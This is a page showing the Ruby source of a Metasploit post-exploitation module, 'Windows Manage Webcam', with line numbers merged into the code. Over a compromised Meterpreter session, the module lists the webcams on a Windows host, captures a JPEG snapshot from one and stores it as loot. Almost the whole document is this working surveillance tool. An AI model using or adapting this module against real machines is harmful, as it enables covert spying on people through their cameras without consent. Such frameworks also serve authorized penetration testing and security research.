Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/webcam.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Manage Webcam',13'Description' => %q{14This module will allow the user to detect installed webcams (with15the LIST action) or take a snapshot (with the SNAPSHOT) action.16},17'License' => MSF_LICENSE,18'Author' => [ 'sinn3r'],19'Platform' => [ 'win'],20'SessionTypes' => [ 'meterpreter' ],21'Actions' => [22[ 'LIST', { 'Description' => 'Show a list of webcams' } ],23[ 'SNAPSHOT', { 'Description' => 'Take a snapshot with the webcam' } ]24],25'DefaultAction' => 'LIST',26'Compat' => {27'Meterpreter' => {28'Commands' => %w[29stdapi_webcam_*30]31}32}33)34)3536register_options(37[38OptInt.new('INDEX', [false, 'The index of the webcam to use', 1]),39OptInt.new('QUALITY', [false, 'The JPEG image quality', 50])40]41)42end4344def run45if client.nil?46print_error("Invalid session ID selected. Make sure the host isn't dead.")47return48end4950if !action51print_error('Invalid action')52return53end5455case action.name56when /^list$/i57list_webcams(true)58when /^snapshot$/i59snapshot60end61end6263def rhost64client.sock.peerhost65end6667def snapshot68webcams = list_webcams6970if webcams.empty?71print_error("#{rhost} - No webcams found")72return73end7475if !(webcams[datastore['INDEX'] - 1])76print_error("#{rhost} - No such index: #{datastore['INDEX']}")77return78end7980buf = nil8182begin83print_status("#{rhost} - Starting...")84client.webcam.webcam_start(datastore['INDEX'])8586buf = client.webcam.webcam_get_frame(datastore['QUALITY'])87if buf88print_status("#{rhost} - Got frame")8990p = store_loot(91"#{rhost}.webcam.snapshot",92'application/octet-stream',93rhost,94buf,95"#{rhost}_snapshot.jpg",96"#{rhost} Webcam Snapshot"97)9899print_good("#{rhost} - Snapshot saved: #{p}")100end101102client.webcam.webcam_stop103print_status("#{rhost} - Stopped")104rescue Rex::Post::Meterpreter::RequestError => e105print_error(e.message)106return107end108end109110def list_webcams(show = false)111begin112webcams = client.webcam.webcam_list113rescue Rex::Post::Meterpreter::RequestError114webcams = []115end116117if show118tbl = Rex::Text::Table.new(119'Header' => 'Webcam List',120'Indent' => 1,121'Columns' => ['Index', 'Name']122)123124webcams.each_with_index do |name, indx|125tbl << [(indx + 1).to_s, name]126end127128print_line(tbl.to_s)129end130131return webcams132end133end134135136